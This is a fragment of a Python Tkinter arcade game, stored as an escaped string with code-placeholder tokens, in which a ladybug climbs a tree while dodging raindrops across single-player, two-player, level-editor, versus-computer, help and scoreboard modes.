image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef editorKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef editorMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.yourSpeed = 'slow'\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.yourSpeed = 'medium'\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.yourSpeed = 'fast'\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n checkMiddle(event, data)\n checkLast(event, data)\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\ndef drawButtons(canvas, data):\n data.font, data.fill = 'Helvetica 13 bold', 'yellow'\n canvas.create_text(data.medX, data.YST, text='Your Speed:', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Slow', font=data.font)\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium', font=data.font)\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Fast', font=data.font)\n canvas.create_image(data.easyX, data.medX, image=data.drizzle)\n canvas.create_text(data.medX, data.RST, text='Rain Speed:', font=data.\n font, fill=data.fill)\n canvas.create_text(data.easyX, data.medX, text='Drizzle', font=data.font)\n canvas.create_image(data.medX, data.medX, image=data.rain)\n canvas.create_text(data.medX, data.medX, text='Rain', font=data.font)\n canvas.create_image(data.hardX, data.medX, image=data.thunderstorm)\n canvas.create_text(data.hardX, data.medX, text='Heavy', font=data.font)\n canvas.create_text(data.medX, data.PUT, text='PowerUps?', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyY, data.last, image=data.yes)\n canvas.create_text(data.easyY, data.last, text='Yes', font=data.font)\n canvas.create_image(data.last, data.last, image=data.no)\n canvas.create_text(data.last, data.last, text='No', font=data.font)\n changeEnter(canvas, data)\n\n\ndef changeEnter(canvas, data):\n if (data.powerUpsEditor != None and data.yourSpeed != None and data.\n rainSpeed != None):\n data.enter = data.click\n canvas.create_image(data.medX, data.enterX, image=data.enter)\n canvas.create_text(data.medX, data.enterX, text='Enter', font=data.font)\n\n\ndef editorTimerFired(data):\n data.editorTime += 1\n if data.editorTime % 2 == 0:\n rainDrop(data)\n for drop in data.editorDrops:\n drop.onTimerFired(data)\n\n\ndef rainDrop(data):\n xPosition = random.randint(0, data.width)\n data.editorDrops.append(Coconuts(xPosition, 0))\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\ndef levelCreatedKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.levelEditorLives > 0:\n if event.keysym == 'Left' and data.cx >= 317:\n data.cx -= data.lane / 2\n elif event.keysym == 'Right' and data.cx <= 740:\n data.cx += data.lane / 2\n\n\ndef levelCreatedMousePressed(event, data):\n checkHome(event, data)\n\n\ndef levelCreatedTimerFired(data):\n setEverything(data)\n if data.levelEditorLives > 0:\n data.cy -= data.speed\n if data.cy < 15:\n data.level += 1\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n levelCoconutShot(data)\n if data.powerUpsEditor == False:\n for coconut in data.coconuts:\n coconut.onTimerFired(data)\n hit(data)\n if data.powerUpsEditor == True:\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef levelCreatedRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n if data.powerUpsEditor == True:\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 100, text='Total Lives: %d' % data.\n levelEditorLives, font='Arial 20 bold', fill='yellow')\n canvas.create_text(data.width / 2, 660, text=\n \"\"\"You lose a life for hitting a drop\n & don't get eaten!\"\"\",\n font='Arial 15 bold', fill='yellow')\n if data.levelEditorLives <= 0:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n if data.level > 1:\n winEditor(canvas, data)\n drawHome(canvas, data)\n\n\ndef winEditor(canvas, data):\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='You Made it!', font=\n 'Arial 23 bold', fill='yellow')\n\n\ndef difficultyKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\ndef difficultyTimerFired(data):\n data.editorTime += 1\n if data.editorTime % 2 == 0:\n rainDrop(data)\n for drop in data.editorDrops:\n drop.onTimerFired(data)\n\n\ndef rainDrop(data):\n xPosition = random.randint(0, data.width)\n data.editorDrops.append(Coconuts(xPosition, 0))\n\n\ndef difficultyRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawDifficulties(canvas, data)\n drawHome(canvas, data)\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\ndef hitAI2(data, distance):\n for coconut in data.coconutsAI2:\n if (coconut.y >= data.player2Y - data.r and coconut.y <= data.\n player2Y + data.r):\n if (coconut.x >= data.player2X - data.r and coconut.x <= data.\n player2X + data.r):\n data.player2Y += 50\n data.coconutsAI2.remove(coconut)\n\n\ndef coconutShotAI(data):\n if data.winner == None:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 40 and abs(xPosition1 - 360) > 40:\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 8 == 0:\n xPosition2 = random.randint(0, 80)\n xPosition3 = random.randint(364, 385)\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(xPosition2, 0))\n data.coconutsAI1.append(Coconuts(xPosition3, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(xPosition2 + 410, 0))\n data.coconutsAI2.append(Coconuts(xPosition3 + 410, 0))\n addExtraCoconut(data)\n addPowerUpsAI(data)\n\n\ndef addExtraCoconut(data):\n if data.time % 18 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(755, 0))\n if data.time % 37 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n\n\ndef addPowerUpsAI(data):\n if data.time % 33 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(140, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(344, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(755, 0))\n if data.time % 66 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.scaryBug.append(ScaryBug(140, 750))\n data.scaryBug.append(ScaryBug(550, 750))\n elif side == 'r':\n data.scaryBug.append(ScaryBug(344, 750))\n data.scaryBug.append(ScaryBug(750, 750))\n\n\ndef AIKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.winner == None:\n if event.keysym == 'Left' and data.onLeft1 == False:\n data.onLeft1 = True\n data.player2X = 550\n elif event.keysym == 'Right' and data.onLeft1 == True:\n data.onLeft1 = False\n data.player2X = 750\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\ndef AITimerFired(data):\n if data.winner == None:\n if data.Invincible1 == False:\n hitAI1(data, 31)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 31)\n for coconut in data.coconutsAI1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n for coconut in data.coconutsAI2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.Invincible1 == False:\n hitAI1(data, 13)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 13)\n data.player1Y -= data.speedAI\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n coconutShotAI(data)\n data.player2Y -= data.speedAI\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n coconutShotAI(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n powerUpAITimerFired(data)\n\n\ndef powerUpAITimerFired(data):\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef AIRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconutsAI1:\n coconut.draw(canvas)\n for coconut in data.coconutsAI2:\n coconut.draw(canvas)\n canvas.create_text(50, 40, text='Computer', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 1', font='Arial 15 bold', fill\n ='yellow')\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n AIWinner(canvas, data)\n drawHome(canvas, data)\n\n\ndef AIWinner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='The Computer Won :(',\n font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! You Won!', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef scoreboardKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef scoreboardMousePressed(event, data):\n checkHome(event, data)\n\n\ndef scoreboardTimerFired(data):\n difficultyTimerFired(data)\n\n\ndef scoreboardRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.tbgY, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.txtTScore, text='Top Scores!',\n font='Arial 30 bold', fill='yellow')\n canvas.create_text(data.width / 2, data.S_P, text='Score_Player', font=\n 'Arial 20 bold', fill='yellow')\n drawHome(canvas, data)\n data.savedScores\n data.savedScores = readFile('score.txt')\n score = data.savedScores.splitlines()\n scores = []\n for line in score:\n scores.append(line.split(','))\n scores = sorted(scores, key=lambda x: int(x[0]))\n top5 = scores[-data.numScores:]\n top5.reverse()\n for i in range(len(top5)):\n canvas.create_text(data.width / 2, data.scoreShift + i * 50, text=\n top5[i], font='Arial 18 bold', fill='yellow')\n\n\ndef helpKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef helpMousePressed(event, data):\n checkHome(event, data)\n\n\ndef helpTimerFired(data):\n difficultyTimerFired(data)\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\ndef run(width=15000, height=25000):\n\n def redrawAllWrapper(canvas, data):\n canvas.delete(ALL)\n redrawAll(canvas, data)\n canvas.update()\n\n def mousePressedWrapper(event, canvas, data):\n mousePressed(event, data)\n redrawAllWrapper(canvas, data)\n\n def keyPressedWrapper(event, canvas, data):\n keyPressed(event, data)\n redrawAllWrapper(canvas, data)\n\n def timerFiredWrapper(canvas, data):\n timerFired(data)\n redrawAllWrapper(canvas, data)\n canvas.after(data.timerDelay, timerFiredWrapper, canvas, data)\n\n\n class Struct(object):\n pass\n data = Struct()\n data.width = width\n data.height = height\n data.timerDelay = 100\n root = Tk()\n init(data)\n canvas = Canvas(root, width=data.width, height=data.height)\n canvas.pack()\n root.bind('<Button-1>', lambda event: mousePressedWrapper(event, canvas,\n data))\n root.bind('<Key>', lambda event: keyPressedWrapper(event, canvas, data))\n timerFiredWrapper(canvas, data)\n root.mainloop()\n print('bye!')\n\n\n<code token>\n", "<import token>\n\n\ndef init(data):\n data.score = 0\n data.mode = 'splashScreen'\n data.timerDelay = 100\n data.height = 800\n data.width = 800\n data.speed = 10\n data.speedAI = 12\n data.speedAI2 = 12\n data.switchOnProgress = False\n data.r = 25\n data.cx = 280\n data.cy = 750\n data.onLeft1, data.onLeft2 = True, True\n data.win = False\n data.coconuts = []\n data.powerUps = []\n data.coconuts1 = []\n data.coconuts2 = []\n data.coconutsAI1 = []\n data.coconutsAI2 = []\n data.invincible = []\n data.pauseDrops = False\n data.pause1Drop = False\n data.pause2Drop = False\n init1(data)\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\ndef init3(data):\n data.yes = data.notClick\n data.no = data.notClick\n data.enter = data.notClick\n data.levelEditorLives = 2\n data.rSpeed = None\n data.start = None\n data.start1 = None\n data.start2 = None\n data.difficulty = None\n data.mode1 = data.notClick\n data.mode2 = data.notClick\n data.mode3 = data.notClick\n data.mode4 = data.notClick\n data.mode5 = data.notClick\n data.mode6 = data.notClick\n data.home = PhotoImage(file='home.gif')\n data.helpScreen = PhotoImage(file='help1.gif')\n data.title = PhotoImage(file='title.gif')\n data.scoreList = []\n data.spotList = [270, 364, 458, 552, 646, 740]\n data.savedScores = readFile('score.txt')\n if data.mode == 'levelCreated':\n setEverything(data)\n initsplashScreenNumbers(data)\n\n\ndef initsplashScreenNumbers(data):\n data.splashButtonY = 425\n data.p1ButtonX = 225\n data.p2ButtonX = 290\n data.edButton = 355\n data.diffButton = 425\n data.helpButton = 490\n data.sboardButton = 555\n data.hitPenalty = 75\n data.splashText = data.height / 2 - 20\n data.lives = 2\n data.levelMax = 8\n data.lane = 94\n data.Player1Min = 270\n data.Player1Max = 740\n data.homeX = 50\n data.homeY = 650\n initScoreBoardHelp(data)\n init1Player(data)\n\n\n<function token>\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\ndef initAI(data):\n data.AITY = 225\n data.easyX = 200\n data.easyY = 300\n data.medX = 400\n data.hardX = 600\n data.enterY = 450\n data.difS = 4\n data.difM = 6\n data.difH = 8\n data.last = 500\n data.enterX = 575\n data.PUT = 450\n data.RST = 350\n data.YST = 250\n\n\ndef mousePressed(event, data):\n if data.mode == 'splashScreen':\n splashScreenMousePressed(event, data)\n elif data.mode == '1Player':\n playerMousePressed(event, data)\n elif data.mode == '2Player':\n twoPlayerMousePressed(event, data)\n elif data.mode == 'editor':\n editorMousePressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedMousePressed(event, data)\n elif data.mode == 'AI':\n AIMousePressed(event, data)\n elif data.mode == 'difficulty':\n difficultyMousePressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardMousePressed(event, data)\n elif data.mode == 'help':\n helpMousePressed(event, data)\n\n\ndef keyPressed(event, data):\n if data.mode == 'splashScreen':\n splashKeyPressed(event, data)\n elif data.mode == '1Player':\n playerKeyPressed(event, data)\n elif data.mode == '2Player':\n twoPlayerKeyPressed(event, data)\n elif data.mode == 'editor':\n editorKeyPressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedKeyPressed(event, data)\n elif data.mode == 'AI':\n AIKeyPressed(event, data)\n elif data.mode == 'difficulty':\n difficultyKeyPressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardKeyPressed(event, data)\n elif data.mode == 'help':\n helpKeyPressed(event, data)\n\n\ndef timerFired(data):\n if data.mode == 'splashScreen':\n splashScreenTimerFired(data)\n elif data.mode == '1Player':\n playerTimerFired(data)\n elif data.mode == '2Player':\n twoPlayerTimerFired(data)\n elif data.mode == 'editor':\n editorTimerFired(data)\n elif data.mode == 'levelCreated':\n levelCreatedTimerFired(data)\n elif data.mode == 'AI':\n AITimerFired(data)\n elif data.mode == 'difficulty':\n difficultyTimerFired(data)\n elif data.mode == 'scoreboard':\n scoreboardTimerFired(data)\n elif data.mode == 'help':\n helpTimerFired(data)\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\ndef splashScreenMousePressed(event, data):\n if (data.splashButtonY - 2 * data.r <= event.x <= data.splashButtonY + \n 2 * data.r):\n if data.p1ButtonX - data.r <= event.y <= data.p1ButtonX + data.r:\n data.mode = '1Player'\n if data.p2ButtonX - data.r <= event.y <= data.p2ButtonX + data.r:\n data.mode = '2Player'\n if data.edButton - data.r <= event.y <= data.edButton + data.r:\n data.mode = 'editor'\n if data.diffButton - data.r <= event.y <= data.diffButton + data.r:\n data.mode = 'difficulty'\n if data.helpButton - data.r <= event.y <= data.helpButton + data.r:\n data.mode = 'help'\n if data.sboardButton - data.r <= event.y <= data.sboardButton + data.r:\n data.mode = 'scoreboard'\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\ndef splashScreenTimerFired(data):\n data.splashScreenTime += 1\n if data.splashScreenTime % 2 == 1:\n rainDropSplash(data)\n for drop in data.splashScreenDrops:\n drop.onTimerFired(data)\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\ndef rainDropSplash(data):\n xPosition = random.randint(0, 800)\n data.splashScreenDrops.append(Coconuts(xPosition, 0))\n\n\ndef splashScreenRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.splashText - 10, image=data.title)\n for drop in data.splashScreenDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.splashText, text=\n \"\"\"\n 1.) Single Player Level Mode\n\n\n 2.) Two-Player Mode\n\n \n 3.) Level Creator Practice Mode\n\n \n 4.) Play Against the Computer\n\n \n 5.) Help and Instructions\n\n \n 6.) Scoreboard\n\n \n \"\"\"\n , font='Arial 14 bold', fill='yellow')\n splashScreenButtons(canvas, data)\n\n\ndef writeFile(path, contents):\n with open(path, 'wt') as f:\n f.write(contents)\n\n\ndef readFile(path):\n with open(path, 'rt') as f:\n return f.read()\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\ndef hit(data):\n for coconut in data.coconuts:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if coconut.y >= data.cy - data.r and coconut.y <= data.cy + data.r:\n if (coconut.x >= data.cx - data.r and coconut.x <= data.cx +\n data.r):\n data.cy += data.hitPenalty\n if data.mode == 'levelCreated':\n data.lives -= 1\n elif data.hit == False and data.level < data.levelMax:\n data.score -= data.level\n data.coconuts.remove(coconut)\n if data.mode == 'levelCreated':\n data.levelEditorLives -= 1\n\n\ndef hit2Player(data):\n if data.mode == '2Player':\n if data.Invincible1 == False:\n for coconut in data.coconuts1:\n if (coconut.y >= data.player1Y - data.r and coconut.y <= \n data.player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <=\n data.player1X + data.r):\n data.player1Y += data.hitPenalty\n data.coconuts1.remove(coconut)\n if data.Invincible2 == False:\n for coconut in data.coconuts2:\n if (coconut.y >= data.player2Y - data.r and 